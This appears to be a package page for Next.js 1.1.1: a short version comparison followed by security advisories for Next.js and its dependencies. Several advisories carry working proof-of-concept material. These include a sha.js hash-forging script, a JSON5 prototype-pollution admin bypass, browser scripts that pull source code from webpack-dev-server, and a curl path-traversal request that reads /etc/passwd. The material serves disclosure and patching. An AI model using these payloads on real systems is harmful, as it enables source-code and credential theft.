Next.js version 1.1.1 is a minor patch release over the previous stable version 1.1.0. Both versions maintain the core promise of Next.js: providing a minimalistic framework for server-rendered React applications, simplifying the creation of performant and SEO-friendly web apps. Examining the dependencies section, both versions share the same core dependencies and their versions, meaning the core rendering engine, component libraries like react and react-dom, and build tools like webpack and babel-core remain unchanged. This suggests that the update from 1.1.0 to 1.1.1 likely focuses on bug fixes or minor improvements, rather than introducing new features or significantly altered functionalities. Developers using Next.js can expect a smooth transition between these versions as the primary APIs and component structures remain consistent.
The devDependencies is where a difference arises with 'ava' and 'gulp-ava' being removed from version 1.1.0 to 1.1.1. This means the newer version might have changed the way it handles tests on the code base. These changes are relevant for developers contributing to the Next.js project or maintaining custom builds but are unlikely to affect the experience of developers using Next.js for building their applications. The patch includes updates also to internal tooling or testing infrastructure. For developers already using Next.js 1.1.0, upgrading to 1.1.1 is recommended to leverage the latest bug fixes and potentially improved stability without requiring significant code adjustments. New developers can directly start with the 1.1.1 version and benefit from its updated state and any resolved issues.
All the vulnerabilities related to the version 1.1.1 of the package
Next.js Directory Traversal Vulnerability
Next.js before 2.4.1 has directory traversal under the /_next
and /static
request namespace, allowing attackers to obtain sensitive information.
Directory traversal vulnerability in Next.js
Next.js 4 before 4.2.3 has Directory Traversal under the /_next
request namespace.
Remote Code Execution in next
Versions of next
prior to 5.1.0 are vulnerable to Remote Code Execution. The /path:
route fails to properly sanitize input and passes it to a require()
call. This allows attackers to execute JavaScript code on the server. Note that prior version 0.9.9 package next
npm package hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.
Upgrade to version 5.1.0.
Directory Traversal in Next.js
serverless
targetnext export
We recommend everyone to upgrade regardless of whether you can reproduce the issue or not.
https://github.com/zeit/next.js/releases/tag/v9.3.2
https://github.com/zeit/next.js/releases/tag/v9.3.2
Open Redirect in Next.js
Next.js is an open source website development framework to be used with the React library. In affected versions specially encoded paths could be used when pages/_error.js
was statically generated, allowing an open redirect to occur to an external site. In general, this redirect does not directly harm users although it can allow for phishing attacks by redirecting to an attacker's domain from a trusted domain.
10.0.5
and 10.2.0
11.0.0
and 11.0.1
using pages/_error.js
without getInitialProps
11.0.0
and 11.0.1
using pages/_error.js
and next export
pages/404.js
next
npm package hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.We recommend upgrading to the latest version of Next.js to improve the overall security of your application.
https://github.com/vercel/next.js/releases/tag/v11.1.0
Unexpected server crash in Next.js.
Next.js is a React framework. In versions of Next.js prior to 12.0.5 or 11.1.3, invalid or malformed URLs could lead to a server crash. In order to be affected by this issue, the deployment must use Next.js versions above 11.1.0 and below 12.0.5, Node.js above 15.0.0, and next start or a custom server. Deployments on Vercel are not affected, along with similar environments where invalid requests are filtered before reaching Next.js. Versions 12.0.5 and 11.1.3 contain patches for this issue. Note that prior version 0.9.9 package next
hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.
Next.js missing cache-control header may lead to CDN caching empty reply
Next.js before 13.4.20-canary.13 lacks a cache-control header and thus empty prefetch responses may sometimes be cached by a CDN, causing a denial of service to all users requesting the same URL via that CDN. Cloudflare considers these requests cacheable assets.
Next.js Race Condition to Cache Poisoning
Summary
We received a responsible disclosure from Allam Rachid (zhero) for a low-severity race-condition vulnerability in Next.js. This issue only affects the Pages Router under certain misconfigurations, causing normal endpoints to serve pageProps
data instead of standard HTML.
Credit
Thank you to Allam Rachid (zhero) for the responsible disclosure. This research was rewarded as part of our bug bounty program.
Next.js Affected by Cache Key Confusion for Image Optimization API Routes
A vulnerability in Next.js Image Optimization has been fixed in v15.4.5 and v14.2.31. When images returned from API routes vary based on request headers (such as Cookie
or Authorization
), these responses could be incorrectly cached and served to unauthorized users due to a cache key confusion bug.
All users are encouraged to upgrade if they use API routes to serve images that depend on request headers and have image optimization enabled.
More details at Vercel Changelog
Next.js Content Injection Vulnerability for Image Optimization
A vulnerability in Next.js Image Optimization has been fixed in v15.4.5 and v14.2.31. The issue allowed attacker-controlled external image sources to trigger file downloads with arbitrary content and filenames under specific configurations. This behavior could be abused for phishing or malicious file delivery.
All users relying on images.domains
or images.remotePatterns
are encouraged to upgrade and verify that external image sources are strictly validated.
More details at Vercel Changelog
Next.js Improper Middleware Redirect Handling Leads to SSRF
A vulnerability in Next.js Middleware has been fixed in v14.2.32 and v15.4.7. The issue occurred when request headers were directly passed into NextResponse.next()
. In self-hosted applications, this could allow Server-Side Request Forgery (SSRF) if certain sensitive headers from the incoming request were reflected back into the response.
All users implementing custom middleware logic in self-hosted environments are strongly encouraged to upgrade and verify correct usage of the next()
function.
More details at Vercel Changelog
send vulnerable to template injection that can lead to XSS
passing untrusted user input - even after sanitizing it - to SendStream.redirect()
may execute untrusted code
this issue is patched in send 0.19.0
users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist
successful exploitation of this vector requires the following:
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
mime Regular Expression Denial of Service when MIME lookup performed on untrusted user input
Affected versions of mime
are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.
Update to version 2.0.3 or later.
debug Inefficient Regular Expression Complexity vulnerability
A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.
Regular Expression Denial of Service in debug
Affected versions of debug
are vulnerable to regular expression denial of service when untrusted user input is passed into the o
formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.
Regular Expression Denial of Service in fresh
Affected versions of fresh
are vulnerable to regular expression denial of service when parsing specially crafted user input.
Update to version 0.5.2 or later.
node-fetch forwards secure headers to untrusted sites
node-fetch forwards secure headers such as authorization
, www-authenticate
, cookie
, & cookie2
when redirecting to a untrusted site.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js
, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer
or string
, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf
, but can be treated by other code differently (e.g. bn.js){length:'1e99'}
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Uncontrolled Resource Consumption in ansi-html
This affects all versions of package ansi-html. If an attacker provides a malicious string, it will get stuck processing the input for an extremely long time.
Babel vulnerable to arbitrary code execution when compiling specifically crafted malicious code
Using Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the path.evaluate()
or path.evaluateTruthy()
internal Babel methods.
Known affected plugins are:
@babel/plugin-transform-runtime
@babel/preset-env
when using its useBuiltIns
option@babel/helper-define-polyfill-provider
, such as babel-plugin-polyfill-corejs3
, babel-plugin-polyfill-corejs2
, babel-plugin-polyfill-es-shims
, babel-plugin-polyfill-regenerator
No other plugins under the @babel/
namespace are impacted, but third-party plugins might be.
Users that only compile trusted code are not impacted.
The vulnerability has been fixed in @babel/traverse@7.23.2
.
Babel 6 does not receive security fixes anymore (see Babel's security policy), hence there is no patch planned for babel-traverse@6
.
@babel/traverse
to v7.23.2 or higher. You can do this by deleting it from your package manager's lockfile and re-installing the dependencies. @babel/core
>=7.23.2 will automatically pull in a non-vulnerable version.@babel/traverse
and are using one of the affected packages mentioned above, upgrade them to their latest version to avoid triggering the vulnerable code path in affected @babel/traverse
versions:
@babel/plugin-transform-runtime
v7.23.2@babel/preset-env
v7.23.2@babel/helper-define-polyfill-provider
v0.4.3babel-plugin-polyfill-corejs2
v0.4.6babel-plugin-polyfill-corejs3
v0.8.5babel-plugin-polyfill-es-shims
v0.10.0babel-plugin-polyfill-regenerator
v0.5.3Prototype Pollution in JSON5 via Parse Method
The parse
method of the JSON5 library before and including version 2.2.1
does not restrict parsing of keys named __proto__
, allowing specially crafted strings to pollute the prototype of the resulting object.
This vulnerability pollutes the prototype of the object returned by JSON5.parse
and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.
This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse
. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.
This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.
Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using JSON5.parse
, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:
const JSON5 = require('json5');
const doSomethingDangerous = (props) => {
if (props.isAdmin) {
console.log('Doing dangerous thing as admin.');
} else {
console.log('Doing dangerous thing as user.');
}
};
const secCheckKeysSet = (obj, searchKeys) => {
let searchKeyFound = false;
Object.keys(obj).forEach((key) => {
if (searchKeys.indexOf(key) > -1) {
searchKeyFound = true;
}
});
return searchKeyFound;
};
const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
throw new Error('Forbidden...');
}
If the user attempts to set the isAdmin
key, their request will be rejected:
const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props);
} else {
throw new Error('Forbidden...'); // Error: Forbidden...
}
However, users can instead set the __proto__
key to {"isAdmin": true}
. JSON5
will parse this key and will set the isAdmin
key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:
const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
throw new Error('Forbidden...');
}
Regular Expression Denial of Service (ReDoS) in cross-spawn
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
Prototype pollution in webpack loader-utils
Prototype pollution vulnerability in function parseQuery in parseQuery.js in webpack loader-utils prior to version 2.0.3 via the name variable in parseQuery.js.
Exposure of Sensitive Information in eventsource
When fetching an url with a link to an external site (Redirect), the users Cookies & Autorisation headers are leaked to the third party application. According to the same-origin-policy, the header should be "sanitized."
Missing Origin Validation in webpack-dev-server
Versions of webpack-dev-server
before 3.1.10 are missing origin validation on the websocket server. This vulnerability allows a remote attacker to steal a developer's source code because the origin of requests to the websocket server that is used for Hot Module Replacement (HMR) are not validated.
For webpack-dev-server
update to version 3.1.11 or later.
webpack-dev-server users' source code may be stolen when they access a malicious web site
Source code may be stolen when you access a malicious web site.
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js">
in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString
against the values in __webpack_modules__
, the attacker can get the source code.
npm i
npx webpack-dev-server
https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
The script in the POC site is:
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
This script uses the function generated by renderRequire
.
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
Especially, it uses the fact that Array::forEach
is called for __webpack_require__.i
and execOptions
contains __webpack_require__
.
It uses prototype pollution against Array::forEach
to extract __webpack_require__
reference.
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
<details> <summary>Old content</summary>Source code may be stolen when you use output.iife: false
and access a malicious web site.
When output.iife: false
is set, some global variables for the webpack runtime are declared on the window
object (e.g. __webpack_modules__
).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js">
in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window
object.
By using Function::toString
against the values in __webpack_modules__
, the attacker can get the source code.
I pointed out output.iife: false
, but if there are other options that makes the webpack runtime variables to be declared on the window
object, the same will apply for those cases.
npm i
npx webpack-dev-server
https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
src/index.js
and other scripts loaded.The script in the POC site is:
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
This vulnerability can result in the source code to be stolen for users that has output.iife: false
option set and uses a predictable port and output path for the entrypoint script.
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
The Origin
header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin
headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost
function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
npm i
npx webpack-dev-server
http://{ipaddress}/?target=http://localhost:8080&file=main
with a non-Chromium browser (I used Firefox 134.0.1)src/index.js
in the extracted directorysrc/index.js
The script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
Command Injection in open
Versions of open
before 6.0.0 are vulnerable to command injection when unsanitized user input is passed in.
The package does come with the following warning in the readme:
The same care should be taken when calling open as if you were calling child_process.exec directly. If it is an executable it will run in a new shell.
open
is now the deprecated opn
package. Upgrading to the latest version is likely have unwanted effects since it now has a very different API but will prevent this vulnerability.
Denial of service in http-proxy-middleware
Versions of the package http-proxy-middleware before 2.0.7, from 3.0.0 and before 3.0.3 are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.
Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package micromatch
prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces()
in index.js
because the pattern .*
will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Regular Expression Denial of Service (ReDoS) in braces
A vulnerability was found in Braces versions prior to 2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in braces
Versions of braces
prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Upgrade to version 2.3.1 or higher.
Uncontrolled resource consumption in braces
The NPM package braces
fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js,
if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
Path traversal in webpack-dev-middleware
The webpack-dev-middleware middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine.
The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory memfs filesystem. If writeToDisk configuration option is set to true, the physical filesystem is used: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21
The getFilenameFromUrl method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the unsecaped path suffix is appended to the outputPath: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82 As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use %2e and %2f sequences to perform path traversal attack.
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
The developers using webpack-dev-server or webpack-dev-middleware are affected by the issue. When the project is started, an attacker might access any file on the developer's machine and exfiltrate the content (e.g. password, configuration files, private source code, ...).
If the development server is listening on a public IP address (or 0.0.0.0), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port).
If the server allows access from third-party domains (CORS, Allow-Access-Origin: * ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files.
The URL should be unescaped and normalized before any further processing.